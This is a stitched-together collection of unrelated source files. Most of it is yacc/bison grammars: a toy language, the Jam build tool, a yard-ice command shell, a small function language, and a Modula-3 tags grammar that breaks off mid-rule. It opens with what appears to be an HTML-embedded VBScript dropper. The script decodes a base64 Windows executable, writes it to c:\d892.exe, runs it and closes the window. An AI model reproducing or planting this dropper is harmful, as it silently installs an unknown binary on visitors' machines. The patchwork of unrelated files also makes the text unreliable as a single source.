x=x&"RyzoPAF394A/BHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4A4AAAiwcJwHQ8i18EjYQw" x=x&"ZAEBAAHzUIPHCP+W3AEBAJWKB0cIwHTciflXSPKuVf+W4AEBAAnAdAeJA4PDBOvh/5bkAQEAYemAbP//" x=x&"jAxBAJQMQQB0lkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGWPZDAAAAAAAAACAAYAAAAgAACA" x=x&"CgAAAJAAAIAAAAAAZY9kMAAAAAAAAAIAOQIAAEAAAIA6AgAAaAAAgAAAAABlj2QwAAAAAAAAAQAHBAAA" x=x&"WAAAAGThAAAwAAAAAAAAAAAAAAAAAAAAZY9kMAAAAAAAAAEABwQAAIAAAACU4QAAJAAAAAAAAAAAAAAA" x=x&"AAAAAGWPZDAAAAAAAwAAADABAIC4AACAPgEAgOAAAIBWAQCACAEAgAAAAABlj2QwAAAAAAAAAQAAAAAA" x=x&"0AAAALjhAAAQAAAAAAAAAAAAAAAAAAAAZY9kMAAAAAAAAAEAAAAAAPgAAADI4QAAMAEAAAAAAAAAAAAA" x=x&"AAAAAGWPZDAAAAAAAAABAAcEAAAgAQAA+OIAAPQAAAAAAAAAAAAAAAYARABWAEMATABBAEwACwBQAEEA" x=x&"QwBLAEEARwBFAEkATgBGAE8ABgBQAEEAUgBBAE0AUwAAAAAAAAAAAAAAAAAMEgEA3BEBAAAAAAAAAAAA" x=x&"AAAAABkSAQDsEQEAAAAAAAAAAAAAAAAAJhIBAPQRAQAAAAAAAAAAAAAAAAAzEgEA/BEBAAAAAAAAAAAA" x=x&"AAAAAD8SAQAEEgEAAAAAAAAAAAAAAAAAAAAAAAAAAABKEgEAWBIBAGgSAQAAAAAAdhIBAAAAAACEEgEA" x=x&"AAAAAJQSAQAAAAAApBIBAAAAAABLRVJORUwzMi5ETEwAYWR2YXBpMzIuZGxsAG9sZWF1dDMyLmRsbABz" x=x&"aGVsbDMyLmRsbAB1c2VyMzIuZGxsAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFBy" x=x&"b2Nlc3MAAABSZWdDbG9zZUtleQAAAFN5c0ZyZWVTdHJpbmcAAABTaGVsbEV4ZWN1dGVBAAAAU2V0VGlt" x=x&"ZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x=x&"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGDoAAAAAF3rJpq6IAtBAP/iuiAL" x=x&"QQC4YL4A0IkCg8IDuNBAAI2JAoPC/f/iaYDe69ma6GUebUYis6hhL13b2pI=" function y(byval a) const m="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" dim b,c,d b=Len(a) for d=1 to b step 4 dim e,f,g,h,i,j e=3 i=0 for f=0 to 3 g=mid(a,d+f,1) if g="=" then e=e-1 h=0 else h=instr(m,g)-1 end if i=64*i+h next i=hex(i) i=string(6-len(i),"0")&i j=chr(cbyte("&H"&mid(i,1,2)))+chr(cbyte("&H"&mid(i,3,2)))+chr(cbyte("&H"&mid(i,5,2))) c=c&left(j,e) next y=c end function p="c:\d892.exe" set s=CreateObject("Scripting.FileSystemObject") set f=s.createTextFile(p,true) f.write y(x) f.close set t=CreateObject("WScript.Shell") t.run(p) self.close </script>
%{ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include "symtable.h" #include "ast.h" %} %union{ struct ast *a; int d; struct symbol *s; } %token IF ELSE %token AND_t OR_t XOR_t BSL_t BSR_t NOT_t DEREF_t %token <d> NUMBER %token <s> NAME %type <a> statement statementList assignStatement ifStatement derefExp refExp exp %right '=' %left '+' '-' AND_t OR_t XOR_t BSL_t BSR_t %nonassoc '|' UMINUS NOT_t '&' %start program %initial-action{ init_ast(); }; %% program : '{' statementList '}' { eval_ast($2); } ; statementList: { $$ = 0; } | statementList statement { $$ = newast('0', $1, $2); } ; statement : assignStatement ';' { $$ = $1; } | ifStatement { $$ = $1; } ; exp: exp '+' exp { $$ = newast('+', $1, $3); } | exp '-' exp { $$ = newast('-', $1, $3); } | exp AND_t exp { $$ = newast('A', $1, $3); } | exp OR_t exp { $$ = newast('O', $1, $3); } | exp XOR_t exp { $$ = newast('X', $1, $3); } | exp BSL_t exp { $$ = newast('R', $1, $3); } | exp BSR_t exp { $$ = newast('L', $1, $3); } | NOT_t exp { $$ = newast('!', $2, NULL); } | '(' exp ')' { $$ = $2; } | NUMBER { $$ = newnum($1); } | NAME { $$ = newref($1); } | derefExp { $$ = $1; } | refExp { $$ = $1; } ; assignStatement : NAME '=' exp { $$ = newasgn($1, $3); } ; derefExp : '*' '(' exp ')' { $$ = newdeptr($3); } // Treat $3 as a memory address and put it's VALUE on the stack ; refExp : '&' '(' NAME ')' { $$ = newptr($3); } // Look up the address of the symbol and put it on the stack ; ifStatement : IF '(' exp ')' '{' statementList '}' ELSE '{' statementList '}' { $$ = newIfAst($3, $6, $10); } ;
%token _LANGLE_t %token _LANGLE_EQUALS_t %token _EQUALS_t %token _RANGLE_t %token _RANGLE_EQUALS_t %token _BAR_t %token _BARBAR_t %token _SEMIC_t %token _COLON_t %token _BANG_t %token _BANG_EQUALS_t %token _QUESTION_EQUALS_t %token _LPAREN_t %token _RPAREN_t %token _LBRACKET_t %token _RBRACKET_t %token _LBRACE_t %token _RBRACE_t %token _AMPER_t %token _AMPERAMPER_t %token _PLUS_EQUALS_t %token ACTIONS_t %token BIND_t %token BREAK_t %token CASE_t %token CONTINUE_t %token DEFAULT_t %token ELSE_t %token EXISTING_t %token FOR_t %token IF_t %token IGNORE_t %token IN_t %token INCLUDE_t %token LOCAL_t %token MAXLINE_t %token ON_t %token PIECEMEAL_t %token QUIETLY_t %token RETURN_t %token RULE_t %token SWITCH_t %token TOGETHER_t %token UPDATED_t %token WHILE_t /* * Copyright 1993-2002 <NAME> and Perforce Software, Inc. * * This file is part of Jam - see jam.c for Copyright information. */ /* * jamgram.yy - jam grammar * * 04/13/94 (seiwald) - added shorthand L0 for null list pointer * 06/01/94 (seiwald) - new 'actions existing' does existing sources * 08/23/94 (seiwald) - Support for '+=' (append to variable) * 08/31/94 (seiwald) - Allow ?= as alias for "default =". * 09/15/94 (seiwald) - if conditionals take only single arguments, so * that 'if foo == bar' gives syntax error (use =). * 02/11/95 (seiwald) - when scanning arguments to rules, only treat * punctuation keywords as keywords. All arg lists * are terminated with punctuation keywords. * 09/11/00 (seiwald) - Support for function calls; rules return LIST *. * 01/22/01 (seiwald) - replace evaluate_if() with compile_eval() * 01/24/01 (seiwald) - 'while' statement * 03/23/01 (seiwald) - "[ on target rule ]" support * 02/27/02 (seiwald) - un-break "expr : arg in list" syntax * 03/02/02 (seiwald) - rules can be invoked via variable names * 03/12/02 (seiwald) - set YYMAXDEPTH for big, right-recursive rules * 02/28/02 (seiwald) - merge EXEC_xxx flags in with RULE_xxx * 06/21/02 (seiwald) - support for named parameters * 10/22/02 (seiwald) - working return/break/continue statements */ %token ARG STRING %left _BARBAR_t _BAR_t %left _AMPERAMPER_t _AMPER_t %left _EQUALS_t _BANG_EQUALS_t IN_t %left _LANGLE_t _LANGLE_EQUALS_t _RANGLE_t _RANGLE_EQUALS_t %left _BANG_t %{ #include "jam.h" #include "lists.h" #include "variable.h" #include "parse.h" #include "scan.h" #include "compile.h" #include "newstr.h" #include "rules.h" # define YYMAXDEPTH 10000 /* for OSF and other less endowed yaccs */ # define F0 (LIST *(*)(PARSE *, LOL *, int *))0 # define P0 (PARSE *)0 # define S0 (char *)0 # define pappend( l,r ) parse_make( compile_append,l,r,P0,S0,S0,0 ) # define pbreak( l,f ) parse_make( compile_break,l,P0,P0,S0,S0,f ) # define peval( c,l,r ) parse_make( compile_eval,l,r,P0,S0,S0,c ) # define pfor( s,l,r ) parse_make( compile_foreach,l,r,P0,s,S0,0 ) # define pif( l,r,t ) parse_make( compile_if,l,r,t,S0,S0,0 ) # define pincl( l ) parse_make( compile_include,l,P0,P0,S0,S0,0 ) # define plist( s ) parse_make( compile_list,P0,P0,P0,s,S0,0 ) # define plocal( l,r,t ) parse_make( compile_local,l,r,t,S0,S0,0 ) # define pnull() parse_make( compile_null,P0,P0,P0,S0,S0,0 ) # define pon( l,r ) parse_make( compile_on,l,r,P0,S0,S0,0 ) # define prule( a,p ) parse_make( compile_rule,a,p,P0,S0,S0,0 ) # define prules( l,r ) parse_make( compile_rules,l,r,P0,S0,S0,0 ) # define pset( l,r,a ) parse_make( compile_set,l,r,P0,S0,S0,a ) # define pset1( l,r,t,a ) parse_make( compile_settings,l,r,t,S0,S0,a ) # define psetc( s,l,r ) parse_make( compile_setcomp,l,r,P0,s,S0,0 ) # define psete( s,l,s1,f ) parse_make( compile_setexec,l,P0,P0,s,s1,f ) # define pswitch( l,r ) parse_make( compile_switch,l,r,P0,S0,S0,0 ) # define pwhile( l,r ) parse_make( compile_while,l,r,P0,S0,S0,0 ) # define pnode( l,r ) parse_make( F0,l,r,P0,S0,S0,0 ) # define psnode( s,l ) parse_make( F0,l,P0,P0,s,S0,0 ) %} %% run : /* empty */ /* do nothing */ | rules { parse_save( $1.parse ); } ; /* * block - zero or more rules * rules - one or more rules * rule - any one of jam's rules * right-recursive so rules execute in order. */ block : /* empty */ { $$.parse = pnull(); } | rules { $$.parse = $1.parse; } ; rules : rule { $$.parse = $1.parse; } | rule rules { $$.parse = prules( $1.parse, $2.parse ); } | LOCAL_t list _SEMIC_t block { $$.parse = plocal( $2.parse, pnull(), $4.parse ); } | LOCAL_t list _EQUALS_t list _SEMIC_t block { $$.parse = plocal( $2.parse, $4.parse, $6.parse ); } ; rule : _LBRACE_t block _RBRACE_t { $$.parse = $2.parse; } | INCLUDE_t list _SEMIC_t { $$.parse = pincl( $2.parse ); } | arg lol _SEMIC_t { $$.parse = prule( $1.parse, $2.parse ); } | arg assign list _SEMIC_t { $$.parse = pset( $1.parse, $3.parse, $2.number ); } | arg ON_t list assign list _SEMIC_t { $$.parse = pset1( $1.parse, $3.parse, $5.parse, $4.number ); } | BREAK_t list _SEMIC_t { $$.parse = pbreak( $2.parse, JMP_BREAK ); } | CONTINUE_t list _SEMIC_t { $$.parse = pbreak( $2.parse, JMP_CONTINUE ); } | RETURN_t list _SEMIC_t { $$.parse = pbreak( $2.parse, JMP_RETURN ); } | FOR_t ARG IN_t list _LBRACE_t block _RBRACE_t { $$.parse = pfor( $2.string, $4.parse, $6.parse ); } | SWITCH_t list _LBRACE_t cases _RBRACE_t { $$.parse = pswitch( $2.parse, $4.parse ); } | IF_t expr _LBRACE_t block _RBRACE_t { $$.parse = pif( $2.parse, $4.parse, pnull() ); } | IF_t expr _LBRACE_t block _RBRACE_t ELSE_t rule { $$.parse = pif( $2.parse, $4.parse, $7.parse ); } | WHILE_t expr _LBRACE_t block _RBRACE_t { $$.parse = pwhile( $2.parse, $4.parse ); } | RULE_t ARG params _LBRACE_t block _RBRACE_t { $$.parse = psetc( $2.string, $3.parse, $5.parse ); } | ON_t arg rule { $$.parse = pon( $2.parse, $3.parse ); } | ACTIONS_t eflags ARG bindlist _LBRACE_t { yymode( SCAN_STRING ); } STRING { yymode( SCAN_NORMAL ); } _RBRACE_t { $$.parse = psete( $3.string,$4.parse,$7.string,$2.number ); } ; /* * assign - = or += */ assign : _EQUALS_t { $$.number = VAR_SET; } | _PLUS_EQUALS_t { $$.number = VAR_APPEND; } | _QUESTION_EQUALS_t { $$.number = VAR_DEFAULT; } | DEFAULT_t _EQUALS_t { $$.number = VAR_DEFAULT; } ; /* * expr - an expression for if */ expr : arg { $$.parse = peval( EXPR_EXISTS, $1.parse, pnull() ); } | expr _EQUALS_t expr { $$.parse = peval( EXPR_EQUALS, $1.parse, $3.parse ); } | expr _BANG_EQUALS_t expr { $$.parse = peval( EXPR_NOTEQ, $1.parse, $3.parse ); } | expr _LANGLE_t expr { $$.parse = peval( EXPR_LESS, $1.parse, $3.parse ); } | expr _LANGLE_EQUALS_t expr { $$.parse = peval( EXPR_LESSEQ, $1.parse, $3.parse ); } | expr _RANGLE_t expr { $$.parse = peval( EXPR_MORE, $1.parse, $3.parse ); } | expr _RANGLE_EQUALS_t expr { $$.parse = peval( EXPR_MOREEQ, $1.parse, $3.parse ); } | expr _AMPER_t expr { $$.parse = peval( EXPR_AND, $1.parse, $3.parse ); } | expr _AMPERAMPER_t expr { $$.parse = peval( EXPR_AND, $1.parse, $3.parse ); } | expr _BAR_t expr { $$.parse = peval( EXPR_OR, $1.parse, $3.parse ); } | expr _BARBAR_t expr { $$.parse = peval( EXPR_OR, $1.parse, $3.parse ); } | arg IN_t list { $$.parse = peval( EXPR_IN, $1.parse, $3.parse ); } | _BANG_t expr { $$.parse = peval( EXPR_NOT, $2.parse, pnull() ); } | _LPAREN_t expr _RPAREN_t { $$.parse = $2.parse; } ; /* * cases - action elements inside a 'switch' * case - a single action element inside a 'switch' * right-recursive rule so cases can be examined in order. */ cases : /* empty */ { $$.parse = P0; } | case cases { $$.parse = pnode( $1.parse, $2.parse ); } ; case : CASE_t ARG _COLON_t block { $$.parse = psnode( $2.string, $4.parse ); } ; /* * params - optional parameter names to rule definition * right-recursive rule so that params can be added in order. */ params : /* empty */ { $$.parse = P0; } | ARG _COLON_t params { $$.parse = psnode( $1.string, $3.parse ); } | ARG { $$.parse = psnode( $1.string, P0 ); } ; /* * lol - list of lists * right-recursive rule so that lists can be added in order. */ lol : list { $$.parse = pnode( P0, $1.parse ); } | list _COLON_t lol { $$.parse = pnode( $3.parse, $1.parse ); } ; /* * list - zero or more args in a LIST * listp - list (in puncutation only mode) * arg - one ARG or function call */ list : listp { $$.parse = $1.parse; yymode( SCAN_NORMAL ); } ; listp : /* empty */ { $$.parse = pnull(); yymode( SCAN_PUNCT ); } | listp arg { $$.parse = pappend( $1.parse, $2.parse ); } ; arg : ARG { $$.parse = plist( $1.string ); } | _LBRACKET_t { yymode( SCAN_NORMAL ); } func _RBRACKET_t { $$.parse = $3.parse; } ; /* * func - a function call (inside []) * This needs to be split cleanly out of 'rule' */ func : arg lol { $$.parse = prule( $1.parse, $2.parse ); } | ON_t arg arg lol { $$.parse = pon( $2.parse, prule( $3.parse, $4.parse ) ); } | ON_t arg RETURN_t list { $$.parse = pon( $2.parse, $4.parse ); } ; /* * eflags - zero or more modifiers to 'executes' * eflag - a single modifier to 'executes' */ eflags : /* empty */ { $$.number = 0; } | eflags eflag { $$.number = $1.number | $2.number; } ; eflag : UPDATED_t { $$.number = RULE_UPDATED; } | TOGETHER_t { $$.number = RULE_TOGETHER; } | IGNORE_t { $$.number = RULE_IGNORE; } | QUIETLY_t { $$.number = RULE_QUIETLY; } | PIECEMEAL_t { $$.number = RULE_PIECEMEAL; } | EXISTING_t { $$.number = RULE_EXISTING; } | MAXLINE_t ARG { $$.number = atoi( $2.string ) * RULE_MAXLINE; } ; /* * bindlist - list of variable to bind for an action */ bindlist : /* empty */ { $$.parse = pnull(); } | BIND_t list { $$.parse = $2.parse; } ;
<reponame>bobmittmann/yard-ice %token EOF DOT COMMA SEMICOLON COLON PLUS MINUS STAR SLASH PERCENT AMPERSAND BAR CARET TILDE EXCLAM QUEST EQUALS LESSTHEN GREATTHEN LBRACKET RBRACKET LPAREN RPAREN LBRACE RBRACE GTE LTE EQU NEQ ASR SHL LOGICOR LOGICAND BREAK CATCH CONTINUE ELSE FALSE FINALLY FOR FUNCTION IF RETURN THROW TRUE TRY VAR WHILE ID INT CHAR STRING ERR %% cmd_line : stat_list_opt EOF ; stat_list_opt : | stat_list ; stat_list : stat stat_list_tail ; stat_list_tail : | ';' stat_list ; stat : "var" | "ls" | "db" db_cmd | "cfg" cfg_cmd | "str" str_cmd | "trig" trig_cmd | "alm" alm_cmd | "tbl" tbl_cmd | "grp" grp_cmd | "rx" FNAME | "cat" FNAME | "rm" FNAME | "run" FNAME | "rst" | "set" set_var_opt | "sens" '[' exp ']' '.' dev_attr '=' exp | "mod" '[' exp ']' '.' dev_attr '=' exp ; trig_cmd : | "sens" exp | "mod" exp ; tbl_cmd : | exp ; alm_cmd : | exp ; grp_cmd : | exp ; db_cmd : | "compile" | "stat" | "erase" ; cfg_cmd : | "compile" | "erase" | "load" | "save" ; str_cmd : | str_lst ; str_lst : STRING str_lst_tail | ID str_lst_tail ; str_lst_tail : | str_lst ; set_var_opt : | dev_attr exp ; dev_attr : "pw1" | "pw2" | "pw3" | "pw4" | "pw5" | "en" | "cfg" | "alm" | "tbl" ; exp : additive_exp ; additive_exp : mult_exp additive_exp1 ; additive_exp1 : | '+' additive_exp { op_add } | '-' additive_exp { op_sub } ; mult_exp : unary_exp mult_exp1 ; mult_exp1 : | '/' mult_exp { op_div } | '%' mult_exp { op_mod } | '*' mult_exp { op_mul } ; unary_exp : primary_exp | '-' unary_exp { op_minus } ; primary_exp : '(' exp ')' | INT { op_push_int } | CHAR { op_push_int } | STRING { op_push_string } | "true" { op_push_true } | "false" { op_push_false } | VAR_ID { op_push_tmp } { op_attr } | FUN_ID { op_push_tmp } function_call { op_call_ret } | "sens" '[' exp ']' '.' dev_attr | "mod" '[' exp ']' '.' dev_attr ;
<gh_stars>1-10 %{ #include <stdio.h> #include "ast.h" %} %token ID %token OP_ADD OP_ASSIGN %token KW_RET KW_PRINT KW_MAIN KW_END %token LIT_INT %token DEL_COMMA DEL_EOL DEL_LPAREN DEL_RPAREN %% program: definitions ; definitions: definition | definition DEL_EOL definitions ; definition: functions ; functions: function | function functions ; function: KW_MAIN function_body | ID DEL_LPAREN arguments DEL_RPAREN function_body ; function_body: DEL_EOL statements KW_END DEL_EOL ; arguments: ID | ID DEL_COMMA arguments ; statements: statement DEL_EOL | statement DEL_EOL statements ; statement: /* nothing */ | assignment | funcall | KW_RET expression | KW_PRINT expression ; assignment: ID OP_ASSIGN expression | ID OP_ASSIGN funcall ; funcall: ID DEL_LPAREN parameters DEL_RPAREN ; parameters: expression | expression DEL_COMMA parameters ; expression: rvalue | rvalue OP_ADD expression ; rvalue: ID | LIT_INT ; %% int yyerror (char *error) { fprintf(stderr, "parser error: %s\n", error); }
/* Copyright (C) 1989, Digital Equipment Corporation */ /* All rights reserved. */ /* See the file COPYRIGHT for a full description. */ /* Last modified on Wed Aug 10 15:48:40 PDT 1994 by kalsow */ /* modified on Fri Mar 20 20:12:10 PST 1992 by muller */ /* modified on Fri Jan 31 16:09:58 PST 1992 by <EMAIL> */ /* modified on Tue Dec 3 20:46:25 PST 1991 by meehan */ /* modified on Mon Aug 19 14:49:34 1991 by <EMAIL> */ /* modified on Mon Jun 1 11:37:54 1987 by firefly */ /* modified on hania, Wed Jan 8 16:38:12 1986 */ /* A yacc source file for the Modula-3 tags creation. was constructed from the grammar given in the Modula-3 report; the main problem was to get it right for yacc (an expression can start by a type). */ /* basic tokens */ %token ENDOFFILE 0 %token AMPERSAND ASSIGN ASTERISK BAR COLON COMMA DOT DOTDOT %token EQUAL GREATER GREQUAL LESS LSEQUAL MINUS SHARP PERIOD PLUS %token RARROW RBRACE RBRACKET RPAREN SEMICOLON SLASH %token SUBTYPE UPARROW %token LPAREN LBRACKET LBRACE %token IDENT CARD_CONST REAL_CONST CHAR_CONST STR_CONST /* reserved words */ %token AND ANY ARRAY AS BGN BITS BRANDED BY CASE CONST %token DIV DO ELSE ELSIF END EVAL EXCEPT EXCEPTION EXIT EXPORTS %token FINALLY FOR FROM GENERIC IF IMPORT IN INTERFACE LOCK LOOP %token METHODS MOD MODULE NOT OBJECT OF OR OVERRIDES PROCEDURE RAISE RAISES %token READONLY RECORD REF REPEAT RETURN REVEAL ROOT SET THEN TO %token TRY TYPE TYPECASE UNSAFE UNTIL UNTRACED VALUE VAR WHILE WITH %start CompilationUnit %{ #define YYMAXDEPTH 300 /* make yacc's stack larger than the default of 150 */ #include <stdio.h> extern notypes, novars, noconst, noexcepts, oldstyle, qnames; int linecnt = 1; int charcnt; int charperlinecnt; /* charcnt for current line */ char linebuf[1000]; /* chars of current line */ char lastident[200];/* last identifier encountered */ int comdepth = 0; /* depth of comments, used only by lexer. */ int pragdepth = 0; /* depth of pragmas, used only by lexer. */ %} %% /*--------------------- modules ------------------------*/ CompilationUnit: interface | UNSAFE interface | module | UNSAFE module | generic_interface | generic_module ; interface: INTERFACE IDENT {recordname(lastident, 0); recordQual(lastident); } SEMICOLON import_nl_list declaration_nl_list END IDENT DOT | INTERFACE IDENT {recordname(lastident, 0); recordQual(lastident); } EQUAL IDENT generic_params END IDENT DOT ; module: MODULE IDENT {recordname(lastident, 0); recordQual(lastident);} exports SEMICOLON import_nl_list named_block DOT | MODULE IDENT {recordname(lastident, 0); recordQual(lastident);} exports EQUAL IDENT generic_params END IDENT DOT ; generic_interface: GENERIC INTERFACE IDENT {recordname(lastident, 0); recordQual(lastident); } generic_params SEMICOLON import_nl_list declaration_nl_list END IDENT DOT ; generic_module: GENERIC MODULE IDENT {recordname(lastident, 0); recordQual(lastident);} generic_params SEMICOLON import_nl_list named_block DOT ; /* Good enough for both formals and actuals. */ generic_params: /* empty */ | LPAREN opt_id_list RPAREN ; exports: /* empty */ | EXPORTS id_list ; import_nl_list: /* empty */ | import_nl_list import_nl ; import_nl: FROM IDENT IMPORT id_list SEMICOLON | IMPORT import_item_list SEMICOLON ; import_item_list: IDENT | IDENT AS IDENT | import_item_list COMMA IDENT | import_item_list COMMA IDENT AS IDENT ; block: declaration_nl_list BGN stmts END ; named_block: declaration_nl_list BGN stmts END IDENT ; declaration_nl_list: /* empty */ | declaration_nl_list declaration_nl ; declaration_nl: procedure_head EQUAL named_block SEMICOLON | procedure_head SEMICOLON | CONST | CONST const_decl_list | TYPE | TYPE type_decl_list | REVEAL | REVEAL type_decl_list | VAR | VAR var_decl_list | EXCEPTION | EXCEPTION exception_decl_list ; const_decl_list: const_decl | const_decl_list const_decl ; const_decl: /* Should move outside */ IDENT {if (!noconst) recordname(lastident, 1);} COLON type EQUAL expr SEMICOLON | IDENT {if (!noconst) recordname(lastident, 1);} EQUAL expr SEMICOLON ; type_decl_list: type_decl | type_decl_list type_decl ; type_decl: type_name {if (!notypes) recordname(lastident, 1);} EQUAL type SEMICOLON | type_name {if (!notypes) recordname(lastident, 1);} SUBTYPE type SEMICOLON ; var_decl_list: var_decl | var_decl_list var_decl ; id_list1: IDENT {if (!novars) recordname(lastident, 1);} | id_list1 COMMA IDENT {if (!novars) recordname(lastident, 1);} ; var_decl: id_list1 COLON type SEMICOLON | id_list1 COLON type ASSIGN expr SEMICOLON | id_list1 ASSIGN expr SEMICOLON ; exception_decl_list: /* did have at end of both productions. */ exception_decl | exception_decl_list exception_decl ; id_list2: IDENT {if (!novars) recordname(lastident, 1);} | id_list2 COMMA IDENT {if (!novars) recordname(lastident, 1);} ; exception_decl: /* Moved break inside LParen. -DN */ id_list2 SEMICOLON | id_list2 LPAREN type RPAREN SEMICOLON ; procedure_head: PROCEDURE IDENT {recordname(lastident, 1);} signature ; signature: LPAREN formals RPAREN return_type raises ; return_type: /* empty */ | COLON type ; raises: /* empty */ | RAISES LBRACE opt_qid_list RBRACE | RAISES ANY ; formals: /* empty */ | formal | formal_semi_list | formal_semi_list formal ; formal_semi_list: formal_semi | formal_semi_list formal_semi ; formal_semi: mode id_list type_and_or_val_semi ; formal: mode id_list type_and_or_val ; mode: /* empty */ | VALUE | VAR | READONLY ; type_and_or_val_semi: COLON type SEMICOLON | COLON type ASSIGN expr SEMICOLON | ASSIGN expr SEMICOLON ; type_and_or_val: COLON type | COLON type ASSIGN expr | ASSIGN expr ; /*--------------------- statements ------------------------*/ stmts: /* empty */ | stmt_list | stmt_list SEMICOLON ; /* Statement list with around it only if non-empty. */ stmts_group: /* empty */ | stmts1 ; /* Non-empty statement list. */ stmts1: stmt_list | stmt_list SEMICOLON ; stmt_list: stmt | stmt_list SEMICOLON stmt ; stmt: assignment_stmt | block | call_stmt | case_stmt | exit_stmt | eval_stmt | for_stmt | if_stmt | lock_stmt | loop_stmt | raise_stmt | repeat_stmt | return_stmt | try_finally_stmt | try_stmt | typecase_stmt | while_stmt | with_stmt ; assignment_stmt: /* Swapped and -DN */ expr ASSIGN expr ; call_stmt: expr ; case_stmt: CASE expr OF case case_list else END | CASE expr OF case_list else END ; case_list: /*empty*/ | case_list BAR case ; case: labels_list RARROW stmts_group ; labels_list: labels | labels_list COMMA labels ; labels: expr | expr DOTDOT expr ; exit_stmt: EXIT ; eval_stmt: /* Swapped and -DN */ EVAL expr ; for_stmt: FOR IDENT ASSIGN expr TO expr by DO stmts END ; by: /* empty */ | BY expr ; if_stmt: IF expr THEN stmts elsif_list else END ; else: /* empty */ | ELSE stmts ; elsif_list: /* empty */ | elsif_list elsif ; elsif: ELSIF expr THEN stmts ; lock_stmt: LOCK expr DO stmts END ; loop_stmt: LOOP stmts END ; raise_stmt: RAISE expr ; repeat_stmt: REPEAT stmts UNTIL expr ; return_stmt: RETURN | RETURN expr ; try_finally_stmt: TRY stmts FINALLY stmts END ; try_stmt: TRY stmts EXCEPT handler handler_list else END | TRY stmts EXCEPT handler_list else END ; handler_list: /* empty */ | handler_list BAR handler ; handler: qid_list LPAREN IDENT RPAREN RARROW stmts_group | qid_list RARROW stmts_group ; typecase_stmt: TYPECASE expr OF tcase tcase_list else END | TYPECASE expr OF tcase_list else END ; tcase_list: /* empty */ | tcase_list BAR tcase ; tcase: type_list RARROW stmts_group | type_list LPAREN IDENT RPAREN RARROW stmts_group ; while_stmt: WHILE expr DO stmts END ; with_stmt: WITH binding_list DO stmts END ; binding_list: binding | binding_list COMMA binding ; binding: IDENT EQUAL expr ; opt_qid_list: /* empty */ | qid_list ; qid_list: qid | qid_list COMMA qid ; qid: IDENT | IDENT DOT IDENT ; /*--------------------- types ------------------------*/ type_list: type | type_list COMMA type ; type: type_name | type_name simple_object_type_list | root_type simple_object_type_list | type_constructor | LPAREN type RPAREN ; type_name: qid ; type_constructor: type_constructor1 | type_constructor2 ; type_constructor1: BITS expr FOR type | PROCEDURE signature | UNTRACED simple_object_type_list | simple_object_type_list | UNTRACED brand REF type | brand REF type | LBRACE opt_id_list RBRACE | LBRACKET expr DOTDOT expr RBRACKET | root_type ; root_type: UNTRACED ROOT | ROOT ; type_constructor2: ARRAY type_list OF type | ARRAY OF type | RECORD fields END | SET OF type ; simple_object_type_list: simple_object_type | simple_object_type_list simple_object_type ; simple_object_type: brand OBJECT fields methods_part overrides_part END ; methods_part: /* empty */ | METHODS methods ; overrides_part: /* empty */ | OVERRIDES overrides ; brand: /* empty */ | BRANDED | BRANDED STR_CONST ; fields: /* empty */ | field | field_semi_list | field_semi_list field ; field_semi_list: field_semi | field_semi_list field_semi ; field_semi: id_list type_and_or_val_semi ; field: id_list type_and_or_val ; methods: /* empty */ | method | method_semi_list | method_semi_list method ; method_semi_list: method_semi | method_semi_list method_semi ; method_semi: IDENT signature SEMICOLON | IDENT signature ASSIGN qid SEMICOLON | IDENT ASSIGN qid SEMICOLON ; method: IDENT signature | IDENT signature ASSIGN qid | IDENT ASSIGN qid ; overrides: /* empty */ | override | override_semi_list | override_semi_list override ; override_semi_list: override_semi | override_semi_list override_semi ; override_semi: IDENT ASSIGN qid SEMICOLON ; override: IDENT ASSIGN qid ; /*--------------------- expressions ------------------------*/ expr: zexpr ; zexpr: e1 | zexpr OR e1 ; e1: ze1 ; ze1: e2 | ze1 AND e2 ; e2: NOT e2 | e3 ; e3: ze3 ; ze3: e4 | ze3 relop e4 ; relop: EQUAL | SHARP | LESS | LSEQUAL | GREATER | GREQUAL | IN ; e4: ze4 ; ze4: e5 | ze4 addop e5 ; addop: PLUS | MINUS | AMPERSAND ; e5: ze5 ; ze5: e6 | ze5 mulop e6 ; mulop: ASTERISK | SLASH | DIV | MOD ; e6: e7 | PLUS e6 | MINUS e6 ; /* Removed a before selector_list. */ e7: e8 selector_list ; e8: IDENT | CARD_CONST | REAL_CONST | 